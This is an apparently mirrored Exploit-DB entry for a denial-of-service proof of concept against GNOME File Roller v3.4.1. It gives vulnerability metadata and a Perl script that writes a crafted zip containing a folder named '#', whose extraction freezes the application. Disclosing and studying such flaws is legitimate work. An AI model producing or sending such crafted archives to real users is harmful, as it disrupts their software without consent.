File Roller - DoS PoC - exploit.company

vendor:

File Roller

by:

Arsyntex

7.5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: File Roller

Affected Version From: v3.4.1

Affected Version To: v3.4.1

Patch Exists: NO

Related CWE: N/A

CPE: a:gnome:file_roller:3.4.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux lab 3.2.0-85-generic-pae #122-Ubuntu i686 i386 GNU/Linux

2015

File Roller – DoS PoC

A zip file with a folder inside named '#' can be used to cause an endless call's of lstat64() (50 % CPU usage) (Freeze app) when extracted using File Roller.

Mitigation:

Ensure that the zip file is not extracted using File Roller.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#
# Title: File Roller - DoS PoC
# Date: 08/07/2015
# Author: Arsyntex
# Homepage: https://wiki.gnome.org/Apps/FileRoller
# Version: v3.4.1
# Tested on: Linux lab 3.2.0-85-generic-pae #122-Ubuntu i686 i386 GNU/Linux
# -------------------------------------------------------------------------
# Create a zip file with a folder inside named: #
#
# Run: file-roller --extract-here test.zip
#
# Result: endless call's of lstat64() (50 % CPU usage) (Freeze app)
# 

$zip = "\x50\x4b\x03\x04\x14\x03\x00\x00\x00\x00\xd6\x55\x9c\x46\x00\x00" .
       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x23\x2f" .
       "\x50\x4b\x01\x02\x3f\x03\x14\x03\x00\x00\x00\x00\xd6\x55\x9c\x46" .
       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" .
       "\x00\x00\x00\x00\x00\x00\x10\x80\xfd\x41\x00\x00\x00\x00\x23\x2f" .
       "\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x30\x00\x00\x00" .
       "\x20\x00\x00\x00\x00\x00";
                     
open FILE, ">poc.zip" or die("Can't open poc.zip\n") ;
binmode(FILE) ;
print FILE $zip ;
close FILE ;